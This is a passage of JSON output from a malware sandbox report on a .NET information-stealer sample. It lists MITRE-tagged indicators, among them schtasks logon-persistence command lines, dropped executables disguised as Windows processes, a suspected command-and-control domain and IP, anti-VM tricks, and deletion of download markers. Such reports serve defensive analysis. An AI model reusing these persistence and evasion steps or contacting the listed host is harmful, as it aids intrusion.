Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"CHCP.COM.63DD3700.bin\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"General","name":"Possibly use system binaries","description":"Observed system executable string:\"%WINDIR%\\System32\\schtasks.exe\" [Source: 00000000-00007040-00000BC0-79934374]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"chcp.com\" (UID: 00000000-00003700) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"a0553951.xsph.ru\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/C \"%TEMP%\\6TnwmlA4fm.bat\"\" on 2023-2-3.16:32:00.080","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"ShellExperienceHost\" /sc ONLOGON /tr \"'% ...\" (UID: 00000000-00007540), Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'%PROGRAMF ...\" (UID: 00000000-00007816), Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'%USERPROF ...\" (UID: 00000000-00006536)\n Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'%WINDIR%\\Sys ...\" (UID: 00000000-00008032), Spawned process \"cmd.exe\" with commandline \"/C \"%TEMP%\\6TnwmlA4fm.bat\"\" (UID: 00000000-00002924), Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00003700), Spawned process \"PING.EXE\" with commandline \"ping -n 5 localhost\" (UID: 00000000-00001124), Spawned process \"ShellExperienceHost.exe\" (UID: 00000000-00007784)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"ShellExperienceHost\" /sc ONLOGON /tr \"'% ...\" (UID: 00000000-00007540), Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'%PROGRAMF ...\" (UID: 00000000-00007816), Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'%USERPROF ...\" (UID: 00000000-00006536)\n Spawned process \"schtasks.exe\" with commandline \"\"schtasks\" /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'%WINDIR%\\Sys ...\" (UID: 00000000-00008032), Spawned process \"cmd.exe\" with commandline \"/C \"%TEMP%\\6TnwmlA4fm.bat\"\" (UID: 00000000-00002924), Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00003700), Spawned process \"PING.EXE\" with commandline \"ping -n 5 localhost\" (UID: 00000000-00001124), Spawned process \"ShellExperienceHost.exe\" (UID: 00000000-00007784)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$2c","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" touched file \"%PROGRAMFILES%\\(x86)\\AutoIt3\\AutoIt\\AutoIt3_x64.exe:Zone.Identifier\"\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" touched file \"%PROGRAMFILES%\\(x86)\\AutoIt3\\AutoIt\\21217b1546ce0481b3c74099dfbd96666b497b32\"","origin":"API Call","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" touched file \"%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe\"\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" touched file \"%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe:Zone.Identifier\"\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" touched file \"%WINDIR%\\System32\\wbem\\p2p-mesh\\24dbde2999530ef5fd907494bc374d663924116c\"\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files","description":"$2d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Network Related","name":"Contains ability to perform crypto operations","description":"Observed namespace system.security.cryptography in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin","origin":"Static Parser","mitre_attack_id":"T1573","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols","description":"Observed namespace system.net in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed namespace system.net.sockets in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed namespace system.net.networkinformation in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"a0553951.xsph.ru\"\n Heuristic match: \"%WINDIR%\\System32\\chcp.com\"\n Heuristic match: \"%WINDIR%\\system32\\chcp.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"'(u/\"\n \"8|]Jd\"\n \"Lxlkv0C7(_zre\"\n \"ons^gy|V\"\n \"sMM9N<5kG|\"\n \"u_G}:w6o^]7q\"\n \"@XLXX\"\n \"'(u/\"\n \"8|]Jd\"\n \"Lxlkv0C7(_zre\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to update the user profile (API string)","description":"Observed api string:\"SystemParametersInfo\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]","origin":"File/Memory","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00007040)\n \"schtasks.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00007540)\n \"chcp.com\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003700)\n \"PING.EXE\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00001124)\n \"ShellExperienceHost.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00007784)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"FindFirstFileW\" (UID: 00000000-00007040)\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"FindNextFileW\" (UID: 00000000-00007040)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details","description":"Observed function getprocessbyid in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function get_processname in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function getprocessbyid in WmiPrvSE.exe\n Observed function get_processname in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Observed api string:\"GetKeyState\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Observed api string:\"GetEnvironmentVariable\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found Native API in Dotnet file","description":"$2e","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"42A547183038D90100000000000000000000000002000000\")\n \"PING.EXE\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"ShellExperienceHost.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to decompress content at runtime","description":"Observed function system.io.compression.gzipstream in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function system.io.compression.gzipstream in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Unusual Characteristics","name":"Dotnet file resource with suspicious entropy","description":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin has big resource with size: \"0x10b0\" and Entropy:7.93886576174\n 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin has big resource with size: \"0x2ca96\" and Entropy:7.87134044774\n WmiPrvSE.exe has big resource with size: \"0x10b0\" and Entropy:7.93886576174\n WmiPrvSE.exe has big resource with size: \"0x2ca96\" and Entropy:7.87134044774","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"WmiPrvSE.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" is allocating memory with PAGE_GUARD access rights\n \"ShellExperienceHost.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"FromBase64String\" (Indicator: \"frombase64string\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")\n \"System.Security.Cryptography\" (Indicator: \"system.security.cryptography\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"o85QEmUCWNl4WHRXZs8\" (Indicator: \"qemu\")\n \"vmnetgau.exe\" (Indicator: \"vmnet\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" sleeping for \"1566804069\" milliseconds\n \"ShellExperienceHost.exe\" sleeping for \"1566804069\" milliseconds\n \"ShellExperienceHost.exe\" sleeping for \"00600000\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"8/90 reputation engines marked \"http://a0553951.xsph.ru\" as malicious (8% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"34/69 Antivirus vendors marked sample as malicious (49% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"$30","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"CHCP.COM.63DD3700.bin\" has type \"PE32+ executable (console) x86-64 for MS Windows\"- [targetUID: N/A]\n \"WmiPrvSE.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe]- [targetUID: 00000000-00007040]\n \"ShellExperienceHost.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%PUBLIC%\\Desktop\\ShellExperienceHost.exe]- [targetUID: 00000000-00002924]\n \"AutoIt3_x64.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%USERPROFILE%\\My Documents\\AutoIt3_x64.exe]- [targetUID: 00000000-00007040]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 141.8.197.42 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains a remote desktop related string","description":"\"KvncJ7MDccAqAPyo5v9\" (Indicator for product: Generic VNC)","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":10,"id":"string-27","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"\"schtasks\" /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe'\" /rl HIGHEST /f\" (Indicator: \"wmiprvse.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00007040)\n \"ShellExperienceHost.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00007784)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping -n 5 localhost\" (UID: 00000000-00001124)","origin":"Monitored Target","mitre_attack_id":"T1018","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" marked \"%TEMP%\\hchJ5AbFW3\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"%ALLUSERSPROFILE%\\Desktop\\SHELLEXPERIENCEHOST.EXE:ZONE.IDENTIFIER\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"C:\\Users\\Public\\Desktop\\ShellExperienceHost.exe:Zone.Identifier\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"C:\\Program Files (x86)\\AutoIt3\\AutoIt\\AutoIt3_x64.exe:Zone.Identifier\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"C:\\Users\\%OSUSER%\\My Documents\\AUTOIT3_X64.EXE:ZONE.IDENTIFIER\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe:Zone.Identifier\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\hchJ5AbFW3\" with delete access\n \"cmd.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\6TnwmlA4fm.bat\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"CHCP.COM.63DD3700.bin\" claimed CRC 48137 while the actual is CRC 1283869","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"TerminateProcess\n UnhandledExceptionFilter\n GetTickCount\n Sleep\n GetModuleHandleW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$31","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"CHCP.COM.63DD3700.bin\" claims program is from Sun Jan 27 20:51:41 2075","origin":"Static Parser","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\cmd.exe\" /C \"%TEMP%\\6TnwmlA4fm.bat\" \" - (UID: 00000000-00007040)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Tries to hide tracks of having downloaded a file from the internet","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"%ALLUSERSPROFILE%\\Desktop\\SHELLEXPERIENCEHOST.EXE:ZONE.IDENTIFIER\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"C:\\Users\\Public\\Desktop\\ShellExperienceHost.exe:Zone.Identifier\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"C:\\Program Files (x86)\\AutoIt3\\AutoIt\\AutoIt3_x64.exe:Zone.Identifier\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"C:\\Users\\%OSUSER%\\My Documents\\AUTOIT3_X64.EXE:ZONE.IDENTIFIER\" with delete access\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" opened \"%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe:Zone.Identifier\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-42","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"34/69 Antivirus vendors marked sample as malicious (49% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"34/69 Antivirus vendors marked 